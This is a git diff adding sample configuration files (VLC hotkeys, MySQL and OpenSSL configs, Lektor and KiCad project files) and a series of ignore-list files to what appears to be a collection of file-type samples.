+# Next/previous playlist entry
+global-key-next=
+global-key-prev=
+key-next=Command+Right
+key-prev=Command+Left
+
+# Stop
+global-key-stop=
+key-stop=
+
+# Position
+global-key-position=
+key-position=t
+
+# Very short jump
+global-key-jump+extrashort=
+global-key-jump-extrashort=
+key-jump+extrashort=
+key-jump-extrashort=
+
+# Short jump
+global-key-jump+short=
+global-key-jump-short=
+key-jump+short=
+key-jump-short=
+
+# Medium-length jump
+global-key-jump+medium=
+global-key-jump-medium=
+key-jump+medium=
+key-jump-medium=
+
+# Long jump
+global-key-jump+long=
+global-key-jump-long=
+key-jump+long=
+key-jump-long=
+
+# Next frame
+global-key-frame-next=
+key-frame-next=
+
+# Activate
+global-key-nav-activate=
+key-nav-activate=Enter
+
+# Navigation
+global-key-nav-left=
+global-key-nav-right=
+global-key-nav-down=
+global-key-nav-up=
+key-nav-left=Left
+key-nav-right=Right
+key-nav-down=Down
+key-nav-up=Up
+
+# Navigate to DVD menu
+global-key-disc-menu=
+key-disc-menu=
+
+# Select previous/next DVD title
+global-key-title-prev=
+global-key-title-next=
+key-title-prev=
+key-title-next=
+
+# Select previous/next DVD chapter
+global-key-chapter-prev=
+global-key-chapter-next=
+key-chapter-prev=
+key-chapter-next=
+
+# Quit
+global-key-quit=
+key-quit=Command+q
+
+# Volume adjustment
+global-key-vol-up=
+global-key-vol-down=
+key-vol-up=
+key-vol-down=
+
+# Mute
+global-key-vol-mute=
+key-vol-mute=
+
+# Adjust audio delay
+global-key-audiodelay-up=
+global-key-audiodelay-down=
+key-audiodelay-up=
+key-audiodelay-down=
+
+# Adjust subtitle delay
+global-key-subdelay-up=
+global-key-subdelay-down=
+key-subdelay-down=
+key-subdelay-up=
+
+# Adjust subtitle position
+global-key-subpos-up=
+global-key-subpos-down=
+key-subpos-up=
+key-subpos-down=
+
+# Bookmark timestamp
+global-key-subsync-markaudio=
+global-key-subsync-marksub=
+key-subsync-markaudio=
+key-subsync-marksub=
+
+# Synchronise timestamps
+global-key-subsync-apply=
+key-subsync-apply=Shift+k
+
+# Reset audio/subtitle synchronisation
+global-key-subsync-reset=
+key-subsync-reset=Command+Shift+k
+
+# Cycle audio tracks
+global-key-audio-track=
+key-audio-track=
+
+# Cycle audio devices
+global-key-audiodevice-cycle=
+key-audiodevice-cycle=
+
+# Cycle next/previous subtitle tracks
+global-key-subtitle-track=
+global-key-subtitle-revtrack=
+key-subtitle-track=
+key-subtitle-revtrack=
+
+# Cycle next/previous program Service ID
+global-key-program-sid-next=
+global-key-program-sid-prev=
+key-program-sid-next=
+key-program-sid-prev=
+
+# Cycle source aspect ratios
+global-key-aspect-ratio=
+key-aspect-ratio=
+
+# Cycle video crop modes
+global-key-crop=
+key-crop=
+
+# Increase/decrease scale factor
+global-key-incr-scalefactor=
+global-key-decr-scalefactor=
+key-incr-scalefactor=
+key-decr-scalefactor=
+
+# Cycle deinterlace modes
+global-key-deinterlace-mode=
+key-deinterlace-mode=
+
+# Show controller in full-screen
+global-key-intf-show=
+key-intf-show=i
+
+# Boss key
+global-key-intf-boss=
+key-intf-boss=
+
+# Context menu
+global-key-intf-popup-menu=
+key-intf-popup-menu=Menu
+
+# Save current video frame
+global-key-snapshot=
+key-snapshot=
+
+# Record
+global-key-record=
+key-record=
+
+# Zoom
+global-key-zoom=
+global-key-unzoom=
+key-zoom=
+key-unzoom=
+
+# Contract video's edge by one pixel
+global-key-crop-bottom=
+global-key-crop-right=
+global-key-crop-left=
+global-key-crop-top=
+key-crop-bottom=
+key-crop-right=
+key-crop-left=
+key-crop-top=
+
+# Extend video's edge by one pixel
+global-key-uncrop-bottom=
+global-key-uncrop-right=
+global-key-uncrop-left=
+global-key-uncrop-top=
+key-uncrop-bottom=
+key-uncrop-right=
+key-uncrop-left=
+key-uncrop-top=
+
+# Toggle subtitles
+global-key-subtitle-toggle=
+key-subtitle-toggle=s
+
+# Toggle autoscaling
+global-key-toggle-autoscale=
+key-toggle-autoscale=
+
+# Toggle deinterlacing
+global-key-deinterlace=
+key-deinterlace=
+
+# Toggle wallpaper mode in video output
+global-key-wallpaper=
+key-wallpaper=
+
+# Toggle playlist randomisation
+global-key-random=
+key-random=
+
+# Toggle looped playback
+global-key-loop=
+key-loop=
+
+# Increase/decrease viewpoint field-of-view
+global-key-viewpoint-fov-in=
+global-key-viewpoint-fov-out=
+key-viewpoint-fov-in=Page Up
+key-viewpoint-fov-out=Page Down
+
+# Roll viewpoint 360°
+global-key-viewpoint-roll-clock=
+global-key-viewpoint-roll-anticlock=
+key-viewpoint-roll-clock=
+key-viewpoint-roll-anticlock=
+
+# 1:4 quarter
+global-key-zoom-quarter=
+key-zoom-quarter=
+
+# 1:2 half
+global-key-zoom-half=
+key-zoom-half=
+
+# 1:1 original
+global-key-zoom-original=
+key-zoom-original=
+
+# 2:1 double
+global-key-zoom-double=
+key-zoom-double=
+
+# Jump lengths
+extrashort-jump-size=3
+short-jump-size=10
+medium-jump-size=60
+long-jump-size=300
+
+# Set playlist bookmarks
+global-key-set-bookmark1=
+global-key-set-bookmark2=
+global-key-set-bookmark3=
+global-key-set-bookmark4=
+global-key-set-bookmark5=
+global-key-set-bookmark6=
+global-key-set-bookmark7=
+global-key-set-bookmark8=
+global-key-set-bookmark9=
+global-key-set-bookmark10=
+key-set-bookmark1=
+key-set-bookmark2=
+key-set-bookmark3=
+key-set-bookmark4=
+key-set-bookmark5=
+key-set-bookmark6=
+key-set-bookmark7=
+key-set-bookmark8=
+key-set-bookmark9=
+key-set-bookmark10=
+
+# Play playlist bookmarks
+global-key-play-bookmark1=
+global-key-play-bookmark2=
+global-key-play-bookmark3=
+global-key-play-bookmark4=
+global-key-play-bookmark5=
+global-key-play-bookmark6=
+global-key-play-bookmark7=
+global-key-play-bookmark8=
+global-key-play-bookmark9=
+global-key-play-bookmark10=
+key-play-bookmark1=
+key-play-bookmark2=
+key-play-bookmark3=
+key-play-bookmark4=
+key-play-bookmark5=
+key-play-bookmark6=
+key-play-bookmark7=
+key-play-bookmark8=
+key-play-bookmark9=
+key-play-bookmark10=
+
+# Clear playlist
+global-key-clear-playlist=
+key-clear-playlist=
+
+# Reset subtitle size
+global-key-subtitle-text-scale-normal=
+key-subtitle-text-scale-normal=Command+0
+
+# Decrease subtitle size
+global-key-subtitle-text-scale-up=
+key-subtitle-text-scale-up=Command+Mouse Wheel Up
+
+# Increase subtitle size
+global-key-subtitle-text-scale-down=
+key-subtitle-text-scale-down=Command+Mouse Wheel Down
+
+# Playlist bookmarks 1-10
+bookmark1=
+bookmark2=
+bookmark3=
+bookmark4=
+bookmark5=
+bookmark6=
+bookmark7=
+bookmark8=
+bookmark9=
+bookmark10=
+
+
+[audiobargraph_v]
+audiobargraph_v-x=0
+audiobargraph_v-y=0
+audiobargraph_v-transparency=255
+audiobargraph_v-position=0
+audiobargraph_v-barWidth=10
+audiobargraph_v-barHeight=400
+
+[filesystem]
+list-special-files=1
+
+[freetype]
+freetype-rel-fontsize=20
diff --git a/samples/INI/ms.cfg b/samples/INI/ms.cfg
new file mode 100644
index 0000000000..4942ae3b8e
--- /dev/null
+++ b/samples/INI/ms.cfg
@@ -0,0 +1,6 @@
+title=Mindstorms
+isbn=0465046290
+author=Seymour Papert
+pubmonth=198001
+subject=children computers powerful ideas LOGO education
+url=http://www.papert.org/
\ No newline at end of file
diff --git a/samples/INI/ms.properties b/samples/INI/ms.properties
new file mode 100644
index 0000000000..4942ae3b8e
--- /dev/null
+++ b/samples/INI/ms.properties
@@ -0,0 +1,6 @@
+title=Mindstorms
+isbn=0465046290
+author=Seymour Papert
+pubmonth=198001
+subject=children computers powerful ideas LOGO education
+url=http://www.papert.org/
\ No newline at end of file
diff --git a/samples/INI/my.cnf b/samples/INI/my.cnf
new file mode 100644
index 0000000000..ca5686c59d
--- /dev/null
+++ b/samples/INI/my.cnf
@@ -0,0 +1,107 @@
+# Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License, version 2.0,
+# as published by the Free Software Foundation.
+#
+# This program is also distributed with certain software (including
+# but not limited to OpenSSL) that is licensed under separate terms, as
+# designated in a particular file or component or in included license
+# documentation.  The authors of MySQL hereby grant you an additional
+# permission to link the program and your derivative works with the
+# separately licensed software that they have included with MySQL.
+# This program is distributed in the hope that it will be useful,  but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+# the GNU General Public License, version 2.0, for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software Foundation, Inc.,
+# 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+#
+# Regular comments
+
+# Make sure default section is handled properly
+# Not a special section according to MySQL documentation (no precedence, etc.)
+[DEFAULT]
+password=54321
+repeated_value
+repeated-value = "what"
+
+# Group names are not case sensitive, unlike opt_name.
+[cLieNt] # inline section comment
+password=12345
+port=1000
+socket=/var/run/mysqld/mysqld.sock
+ssl-ca=dummyCA
+ssl-cert=dummyCert
+ssl-key=dummyKey
+ssl-cipher=AES256-SHA:CAMELLIA256-SHA
+CaseSensitiveOptions=Yes
+option_to_delete_with_value = 20
+option_to_delete_without_value
+
+; Another comment
+
+[mysqld_safe]
+socket=/var/run/mysqld/mysqld1.sock
+
+# spaces can be used around '='
+nice =   0
+# values can include '#' if enclose with single or double quotes
+valid_v1 = 'include comment ( #) symbol' # comment
+valid_v2 = "include comment ( #) symbol" # comment
+
+[mysqld]
+option_to_delete_with_value = 20 # delete this
+option_to_delete_without_value  # this as well
+master-info-repository = TABLE
+master-info_repository = FILE
+user=mysql  # inline coments
+pid-file=/var/run/mysqld/mysqld.pid
+socket=/var/run/mysqld/mysqld2.sock
+port=1001
+basedir=/usr
+datadir=/var/lib/mysql
+tmpdir = /tmp # other inline comment and spaces
+to_override # this option is going to be overridden
+to_override_with_value = old_val  # this is also to be overridden
+no_comment_no_value
+lc-messages-dir=/usr/share/mysql
+skip-external-locking  # another inline comment
+binlog=True # ignore this comment
+   multivalue =   Noooooooooooooooo #; Ignore this one as well
+semi-colon=;
+
+# leading and training spaces are ignored
+   bind-address =   127.0.0.1  
+
+log_error=/var/log/mysql/error.log # value to be removed
+
+[delete_section]
+option_to_drop_with_no_value  # comments are
+option_to_drop_with_value = "value"   # also to be
+option_to_drop_with_value2 = "value"  ## deleted #
+
+[escape_sequences]
+backspace=\b
+tab=\t
+newline=\n
+carriage-return=\r
+backslash=\\
+space=\s
+not_esc_seq_char=\S
+
+[path_options]
+win_path_no_esc_seq_char1="C:\Program Files\MySQL\MySQL Server 5.7"
+win_path_no_esc_seq_char2="C:\\Program Files\\MySQL\\MySQL Server 5.7"
+win_path_esc_seq_char=C:\\Program\sFiles\\MySQL\\MySQL\sServer\s5.7
+win_path_with_posix_sep="C:/Program Files/MySQL/MySQL Server 5.7"
+
+[delete_section2]
+option_to_drop_with_no_value  # comments are
+option_to_drop_with_value = "value"   # also to be
+option_to_drop_with_value2 = "value"  # delete
+
+[empty section]
diff --git a/samples/INI/openssl.cnf b/samples/INI/openssl.cnf
new file mode 100644
index 0000000000..4dcb4347d9
--- /dev/null
+++ b/samples/INI/openssl.cnf
@@ -0,0 +1,244 @@
+distinguished_name	= req_distinguished_name
+attributes		= req_attributes
+x509_extensions	= v3_ca	# The extensions to add to the self signed cert
+
+# Passwords for private keys if not present they will be prompted for
+# input_password = secret
+# output_password = secret
+
+# This sets a mask for permitted string types. There are several options.
+# default: PrintableString, T61String, BMPString.
+# pkix	 : PrintableString, BMPString (PKIX recommendation before 2004)
+# utf8only: only UTF8Strings (PKIX recommendation after 2004).
+# nombstr : PrintableString, T61String (no BMPStrings or UTF8Strings).
+# MASK:XXXX a literal mask value.
+# WARNING: ancient versions of Netscape crash on BMPStrings or UTF8Strings.
+string_mask = utf8only
+
+# req_extensions = v3_req # The extensions to add to a certificate request
+
+[ req_distinguished_name ]
+countryName			= Country Name (2 letter code)
+countryName_default		= AU
+countryName_min			= 2
+countryName_max			= 2
+
+stateOrProvinceName		= State or Province Name (full name)
+stateOrProvinceName_default	= Some-State
+
+localityName			= Locality Name (eg, city)
+
+0.organizationName		= Organization Name (eg, company)
+0.organizationName_default	= Internet Widgits Pty Ltd
+
+# we can do this but it is not needed normally :-)
+#1.organizationName		= Second Organization Name (eg, company)
+#1.organizationName_default	= World Wide Web Pty Ltd
+
+organizationalUnitName		= Organizational Unit Name (eg, section)
+#organizationalUnitName_default	=
+
+commonName			= Common Name (e.g. server FQDN or YOUR name)
+commonName_max			= 64
+
+emailAddress			= Email Address
+emailAddress_max		= 64
+
+# SET-ex3			= SET extension number 3
+
+[ req_attributes ]
+challengePassword		= A challenge password
+challengePassword_min		= 4
+challengePassword_max		= 20
+
+unstructuredName		= An optional company name
+
+[ usr_cert ]
+
+# These extensions are added when 'ca' signs a request.
+
+# This goes against PKIX guidelines but some CAs do it and some software
+# requires this to avoid interpreting an end user certificate as a CA.
+
+basicConstraints=CA:FALSE
+
+# This is typical in keyUsage for a client certificate.
+# keyUsage = nonRepudiation, digitalSignature, keyEncipherment
+
+# PKIX recommendations harmless if included in all certificates.
+subjectKeyIdentifier=hash
+authorityKeyIdentifier=keyid,issuer
+
+# This stuff is for subjectAltName and issuerAltname.
+# Import the email address.
+# subjectAltName=email:copy
+# An alternative to produce certificates that aren't
+# deprecated according to PKIX.
+# subjectAltName=email:move
+
+# Copy subject details
+# issuerAltName=issuer:copy
+
+# This is required for TSA certificates.
+# extendedKeyUsage = critical,timeStamping
+
+[ v3_req ]
+
+# Extensions to add to a certificate request
+
+basicConstraints = CA:FALSE
+keyUsage = nonRepudiation, digitalSignature, keyEncipherment
+
+[ v3_ca ]
+
+
+# Extensions for a typical CA
+
+
+# PKIX recommendation.
+
+subjectKeyIdentifier=hash
+
+authorityKeyIdentifier=keyid:always,issuer
+
+basicConstraints = critical,CA:true
+
+# Key usage: this is typical for a CA certificate. However since it will
+# prevent it being used as an test self-signed certificate it is best
+# left out by default.
+# keyUsage = cRLSign, keyCertSign
+
+# Include email address in subject alt name: another PKIX recommendation
+# subjectAltName=email:copy
+# Copy issuer details
+# issuerAltName=issuer:copy
+
+# DER hex encoding of an extension: beware experts only!
+# obj=DER:02:03
+# Where 'obj' is a standard or added object
+# You can even override a supported extension:
+# basicConstraints= critical, DER:30:03:01:01:FF
+
+[ crl_ext ]
+
+# CRL extensions.
+# Only issuerAltName and authorityKeyIdentifier make any sense in a CRL.
+
+# issuerAltName=issuer:copy
+authorityKeyIdentifier=keyid:always
+
+[ proxy_cert_ext ]
+# These extensions should be added when creating a proxy certificate
+
+# This goes against PKIX guidelines but some CAs do it and some software
+# requires this to avoid interpreting an end user certificate as a CA.
+
+basicConstraints=CA:FALSE
+
+# This is typical in keyUsage for a client certificate.
+# keyUsage = nonRepudiation, digitalSignature, keyEncipherment
+
+# PKIX recommendations harmless if included in all certificates.
+subjectKeyIdentifier=hash
+authorityKeyIdentifier=keyid,issuer
+
+# This stuff is for subjectAltName and issuerAltname.
+# Import the email address.
+# subjectAltName=email:copy
+# An alternative to produce certificates that aren't
+# deprecated according to PKIX.
+# subjectAltName=email:move
+
+# Copy subject details
+# issuerAltName=issuer:copy
+
+# This really needs to be in place for it to be a proxy certificate.
+proxyCertInfo=critical,language:id-ppl-anyLanguage,pathlen:3,policy:foo
+
+####################################################################
+[ tsa ]
+
+default_tsa = tsa_config1	# the default TSA section
+
+[ tsa_config1 ]
+
+# These are used by the TSA reply generation only.
+dir		= ./demoCA		# TSA root directory
+serial		= $dir/tsaserial	# The current serial number (mandatory)
+crypto_device	= builtin		# OpenSSL engine to use for signing
+signer_cert	= $dir/tsacert.pem 	# The TSA signing certificate
+					# (optional)
+certs		= $dir/cacert.pem	# Certificate chain to include in reply
+					# (optional)
+signer_key	= $dir/private/tsakey.pem # The TSA private key (optional)
+signer_digest  = sha256			# Signing digest to use. (Optional)
+default_policy	= tsa_policy1		# Policy if request did not specify it
+					# (optional)
+other_policies	= tsa_policy2, tsa_policy3	# acceptable policies (optional)
+digests     = sha1, sha256, sha384, sha512  # Acceptable message digests (mandatory)
+accuracy	= secs:1, millisecs:500, microsecs:100	# (optional)
+clock_precision_digits  = 0	# number of digits after dot. (optional)
+ordering		= yes	# Is ordering defined for timestamps?
+				# (optional, default: no)
+tsa_name		= yes	# Must the TSA name be included in the reply?
+				# (optional, default: no)
+ess_cert_id_chain	= no	# Must the ESS cert id chain be included?
+				# (optional, default: no)
+ess_cert_id_alg		= sha1	# algorithm to compute certificate
+				# identifier (optional, default: sha1)
+
+[insta] # CMP using Insta Demo CA
+# Message transfer
+server = pki.certificate.fi:8700
+# proxy = # set this as far as needed, e.g., http://192.168.1.1:8080
+# tls_use = 0
+path = pkix/
+
+# Server authentication
+recipient = "/C=FI/O=Insta Demo/CN=Insta Demo CA" # or set srvcert or issuer
+ignore_keyusage = 1 # potentially needed quirk
+unprotected_errors = 1 # potentially needed quirk
+extracertsout = insta.extracerts.pem
+
+# Client authentication
+ref = 3078 # user identification
+secret = pass:insta # can be used for both client and server side
+
+# Generic message options
+cmd = ir # default operation, can be overridden on cmd line with, e.g., kur
+
+# Certificate enrollment
+subject = "/CN=openssl-cmp-test"
+newkey = insta.priv.pem
+out_trusted = insta.ca.crt
+certout = insta.cert.pem
+
+[pbm] # Password-based protection for Insta CA
+# Server and client authentication
+ref = $insta::ref # 3078
+secret = $insta::secret # pass:insta
+
+[signature] # Signature-based protection for Insta CA
+# Server authentication
+trusted = insta.ca.crt # does not include keyUsage digitalSignature
+
+# Client authentication
+secret = # disable PBM
+key = $insta::newkey # insta.priv.pem
+cert = $insta::certout # insta.cert.pem
+
+[ir]
+cmd = ir
+
+[cr]
+cmd = cr
+
+[kur]
+# Certificate update
+cmd = kur
+oldcert = $insta::certout # insta.cert.pem
+
+[rr]
+# Certificate revocation
+cmd = rr
+oldcert = $insta::certout # insta.cert.pem
diff --git a/samples/INI/spyder_website.lektorproject b/samples/INI/spyder_website.lektorproject
new file mode 100644
index 0000000000..8cbffb0d7e
--- /dev/null
+++ b/samples/INI/spyder_website.lektorproject
@@ -0,0 +1,76 @@
+[project]
+name = Spyder Website
+themes = hugo-icon
+url_style = absolute
+url = https://www.spyder-ide.org
+
+[packages]
+lektor-webpack-support = 0.3
+lektor-markdown-header-anchors = 0.1
+lektor-disqus-comments = 0.2
+lektor-atom = 0.3
+
+[servers.develop]
+name = Develop
+target = ghpages+https://spyder-ide//website-develop?cname=develop.spyder-ide.org
+
+[servers.production]
+name = Production
+target = ghpages+https://spyder-ide//website-production?cname=www.spyder-ide.org
+
+[alternatives.en]
+name = English
+primary = yes
+locale = en_US
+
+[alternatives.es]
+name = Spanish
+url_prefix = /es/
+locale = es
+
+[alternatives.fr]
+name = French
+url_prefix = /fr/
+locale = fr
+
+[theme_settings]
+  author = "Spyder Team"
+  description = "Spyder Website"
+  other_css = "/static/css/styles.css"
+  content_lang = "en, es, fr"
+  hero_img = "../static/images/spyder_website_banner.png"
+  hero_title = ""
+  hero_description = ""
+  nav_mission = "Overview"
+  mission_2_nav = "download"
+  nav_services = "Components"
+  nav_team = "The Team"
+  nav_work = "Plugins"
+  spyder_nav_content = true
+  mission_enable = true
+  mission_images_enable = 
+  overview_enable = true
+  download_enable = true
+  services_enable = true
+  service_video_url = "https://www.youtube.com/watch?v=Hf07PmwQwPQ"
+  work_enable = true
+  team_enable = 
+  donate_enable = true
+  donate_name = Donate
+  donate_description = Help us to provide the best Scientific Python Development Environment!
+  footer_enable = true
+  footer_note = "<p>&copy; 2018 The Spyder Website Contributors <br> Icons by <a href="https://www.freepik.com/" target="_blank" title="Freepik">Freepik</a> from <a href="https://www.flaticon.com/" target="_blank" title="Flaticon">Flaticon.com</a> <span class="pipe-red">|</span> <a href="https://freehtml5.co/icon-free-website-template-using-bootstrap/" target="_blank">Template</a> designed by <a href='https://freehtml5.co/' target='_blank'>FreeHTML5.co</a> <br>Hugo port by <a href='https://github.com/SteveLane/' target='_blank'>SteveLane</a> <span class="pipe-red">|</span> Lektor port by <a href='https://github.com/dalthviz/' target='_blank'>Dalthviz</a></p>"
+  footer_github = "https://github.com/spyder-ide/spyder"
+  footer_twitter = "https://twitter.com/spyder_ide"
+  footer_facebook = "https://www.facebook.com/SpyderIDE/"
+  footer_google = "https://groups.google.com/group/spyderlib"
+  extension_nav = true
+  ext_1_ref = "https://docs.spyder-ide.org/"
+  ext_1_title = "Docs"
+  ext_2_ref = "/blog"
+  ext_2_title = "Blog"
+  ext_3_ref = 
+  ext_3_title = "Community"
+  opencollective = spyder
+  gitter_room = "spyder-ide/public"
+  donate_nav = "Donate"
diff --git a/samples/INI/ultimate-temp-controller.pro b/samples/INI/ultimate-temp-controller.pro
new file mode 100644
index 0000000000..804cf83d72
--- /dev/null
+++ b/samples/INI/ultimate-temp-controller.pro
@@ -0,0 +1,62 @@
+update=22/05/2015 07:44:53
+version=1
+last_client=kicad
+[general]
+version=1
+RootSch=
+BoardNm=
+[pcbnew]
+version=1
+LastNetListRead=
+UseCmpFile=1
+PadDrill=0.600000000000
+PadDrillOvalY=0.600000000000
+PadSizeH=1.500000000000
+PadSizeV=1.500000000000
+PcbTextSizeV=1.500000000000
+PcbTextSizeH=1.500000000000
+PcbTextThickness=0.300000000000
+ModuleTextSizeV=1.000000000000
+ModuleTextSizeH=1.000000000000
+ModuleTextSizeThickness=0.150000000000
+SolderMaskClearance=0.000000000000
+SolderMaskMinWidth=0.000000000000
+DrawSegmentWidth=0.200000000000
+BoardOutlineThickness=0.100000000000
+ModuleOutlineThickness=0.150000000000
+[cvpcb]
+version=1
+NetIExt=net
+[eeschema]
+version=1
+LibDir=
+[eeschema/libraries]
+LibName1=power
+LibName2=device
+LibName3=transistors
+LibName4=conn
+LibName5=linear
+LibName6=regul
+LibName7=74xx
+LibName8=cmos4000
+LibName9=adc-dac
+LibName10=memory
+LibName11=xilinx
+LibName12=microcontrollers
+LibName13=dsp
+LibName14=microchip
+LibName15=analog_switches
+LibName16=motorola
+LibName17=texas
+LibName18=intel
+LibName19=audio
+LibName20=interface
+LibName21=digital-audio
+LibName22=philips
+LibName23=display
+LibName24=cypress
+LibName25=siliconi
+LibName26=opto
+LibName27=atmel
+LibName28=contrib
+LibName29=valves
diff --git a/samples/Ignore List/Finale.gitignore b/samples/Ignore List/Finale.gitignore
new file mode 100644
index 0000000000..7ef08e0c34
--- /dev/null
+++ b/samples/Ignore List/Finale.gitignore	
@@ -0,0 +1,13 @@
+*.bak
+*.db
+*.avi
+*.pdf
+*.ps
+*.mid
+*.midi
+*.mp3
+*.aif
+*.wav
+# Some versions of Finale have a bug and randomly save extra copies of
+# the music source as "<Filename> copy.mus"
+*copy.mus
diff --git a/samples/Ignore List/filenames/.atomignore b/samples/Ignore List/filenames/.atomignore
new file mode 100644
index 0000000000..e7740f7920
--- /dev/null
+++ b/samples/Ignore List/filenames/.atomignore	
@@ -0,0 +1,5 @@
+.gitignore
+.DS_Store
+*.imp
+.git
+node_modules
diff --git a/samples/Ignore List/filenames/.babelignore b/samples/Ignore List/filenames/.babelignore
new file mode 100644
index 0000000000..e39721e20f
--- /dev/null
+++ b/samples/Ignore List/filenames/.babelignore	
@@ -0,0 +1 @@
+examples/*
diff --git a/samples/Ignore List/filenames/.bzrignore b/samples/Ignore List/filenames/.bzrignore
new file mode 100644
index 0000000000..abca6b1c5d
--- /dev/null
+++ b/samples/Ignore List/filenames/.bzrignore	
@@ -0,0 +1,40 @@
+´.purify
+autom4te.cache
+config.log
+config.cache
+config.status
+config.status.lineno
+db_home
+Makefile
+buildno
+python
+build
+Makefile.pre
+platform
+pybuilddir.txt
+pyconfig.h
+libpython*.a
+libpython*.so*
+python.exe
+python-gdb.py
+reflog.txt
+tags
+TAGS
+.gdb_history
+Doc/tools/sphinx
+Doc/tools/jinja
+Doc/tools/jinja2
+Doc/tools/pygments
+Doc/tools/docutils
+Misc/python.pc
+Modules/Setup
+Modules/Setup.config
+Modules/Setup.local
+Modules/config.c
+Parser/pgen
+Lib/test/data/*
+Lib/lib2to3/Grammar*.pickle
+Lib/lib2to3/PatternGrammar*.pickle
+.coverage
+coverage/*
+htmlcov/*
diff --git a/samples/Ignore List/filenames/.coffeelintignore b/samples/Ignore List/filenames/.coffeelintignore
new file mode 100644
index 0000000000..2608aa633d
--- /dev/null
+++ b/samples/Ignore List/filenames/.coffeelintignore	
@@ -0,0 +1,2 @@
+spec/fixtures
+test/**/*.js
diff --git a/samples/Ignore List/filenames/.cvsignore b/samples/Ignore List/filenames/.cvsignore
new file mode 100644
index 0000000000..17f7ca1d8e
--- /dev/null
+++ b/samples/Ignore List/filenames/.cvsignore	
@@ -0,0 +1,5 @@
+blib
+pm_to_blib
+Makefile
+adm
+.git
diff --git a/samples/Ignore List/filenames/.dockerignore b/samples/Ignore List/filenames/.dockerignore
new file mode 100644
index 0000000000..df2f4a120a
--- /dev/null
+++ b/samples/Ignore List/filenames/.dockerignore	
@@ -0,0 +1,7 @@
+.env
+.env.*
+.bundle
+.git
+log/*
+tmp/*
+vendor/bundle/*
\ No newline at end of file
diff --git a/samples/Ignore List/filenames/.eleventyignore b/samples/Ignore List/filenames/.eleventyignore
new file mode 100644
index 0000000000..cd37d12221
--- /dev/null
+++ b/samples/Ignore List/filenames/.eleventyignore	
@@ -0,0 +1,4 @@
+.github/
+node_modules/
+pages/*-draft.md
+readme.md
diff --git a/samples/Ignore List/filenames/.eslintignore b/samples/Ignore List/filenames/.eslintignore
new file mode 100644
index 0000000000..b6c8628362
--- /dev/null
+++ b/samples/Ignore List/filenames/.eslintignore	
@@ -0,0 +1,24 @@
+# Copyright (c) 2016-2018 Martin Donath <martin.donath@squidfunk.com>
+
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to
+# deal in the Software without restriction, including without limitation the
+# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+# sell copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+# IN THE SOFTWARE.
+
+# Files generated by build
+/build
+/material
+/site
diff --git a/samples/Ignore List/filenames/.gitignore b/samples/Ignore List/filenames/.gitignore
new file mode 100644
index 0000000000..8074a64781
--- /dev/null
+++ b/samples/Ignore List/filenames/.gitignore	
@@ -0,0 +1,18 @@
+.DS_Store
+Thumbs.db
+Desktop.ini
+node_modules
+package-lock.json
+._*
+.\#*
+\#*\#
+*~
+*.log
+*.lock
+[._]*.s[a-v][a-z]
+[._]*.sw[a-p]
+[._]s[a-v][a-z]
+[._]sw[a-p]
+!urls.log
+/test.mjs
+/test.js
diff --git a/samples/Ignore List/filenames/.markdownlintignore b/samples/Ignore List/filenames/.markdownlintignore
new file mode 100644
index 0000000000..389166be99
--- /dev/null
+++ b/samples/Ignore List/filenames/.markdownlintignore	
@@ -0,0 +1,12 @@
+# dependencies
+node_modules/
+
+# testing
+coverage/
+.vscode-test/
+__output__/
+
+# production
+dist/
+out/
+build/
diff --git a/samples/Ignore List/filenames/.nodemonignore b/samples/Ignore List/filenames/.nodemonignore
new file mode 100644
index 0000000000..ac8dd548f4
--- /dev/null
+++ b/samples/Ignore List/filenames/.nodemonignore	
@@ -0,0 +1,3 @@
+/public/*
+/views/*
+./README.md
\ No newline at end of file
diff --git a/samples/Ignore List/filenames/.npmignore b/samples/Ignore List/filenames/.npmignore
new file mode 100644
index 0000000000..66f0d1493c
--- /dev/null
+++ b/samples/Ignore List/filenames/.npmignore	
@@ -0,0 +1,6 @@
+.DS_Store
+node_modules
+/browser.js
+/index.js
+*.log
+package-lock.json
diff --git a/samples/Ignore List/filenames/.prettierignore b/samples/Ignore List/filenames/.prettierignore
new file mode 100644
index 0000000000..2920589820
--- /dev/null
+++ b/samples/Ignore List/filenames/.prettierignore	
@@ -0,0 +1,2 @@
+**/node_modules/**
+**/test/assets/**
diff --git a/samples/Ignore List/filenames/.stylelintignore b/samples/Ignore List/filenames/.stylelintignore
new file mode 100644
index 0000000000..2ca3166942
--- /dev/null
+++ b/samples/Ignore List/filenames/.stylelintignore	
@@ -0,0 +1,2 @@
+*.spec.scss
+node_modules
\ No newline at end of file
diff --git a/samples/Ignore List/filenames/.vercelignore b/samples/Ignore List/filenames/.vercelignore
new file mode 100644
index 0000000000..4525b53f09
--- /dev/null
+++ b/samples/Ignore List/filenames/.vercelignore	
@@ -0,0 +1,17 @@
+*
+
+# general
+!utils/
+!utils/run.js
+!.yarnrc
+!yarn.lock
+!package.json
+
+# api
+!api/
+!api/**
+
+# packages
+!packages/
+!packages/frameworks
+!packages/frameworks/**
diff --git a/samples/Ignore List/filenames/.vscodeignore b/samples/Ignore List/filenames/.vscodeignore
new file mode 100644
index 0000000000..5ff3c19320
--- /dev/null
+++ b/samples/Ignore List/filenames/.vscodeignore	
@@ -0,0 +1,9 @@
+.vscode/**
+.vscode-test/**
+out/test/**
+test/**
+src/**
+**/*.map
+.gitignore
